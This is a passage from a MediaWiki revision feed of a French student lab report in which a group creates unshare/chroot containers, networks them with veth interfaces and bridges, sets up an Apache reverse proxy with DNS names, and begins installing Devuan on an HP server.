  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
XXX&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
XXX&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
XXX&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48066</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48066"/>
				<updated>2018-11-27T07:10:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47999</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47999"/>
				<updated>2018-11-25T15:46:29Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Installation du debian dans le point de montage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47998</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=47998"/>
				<updated>2018-11-25T15:43:57Z</updated>
		
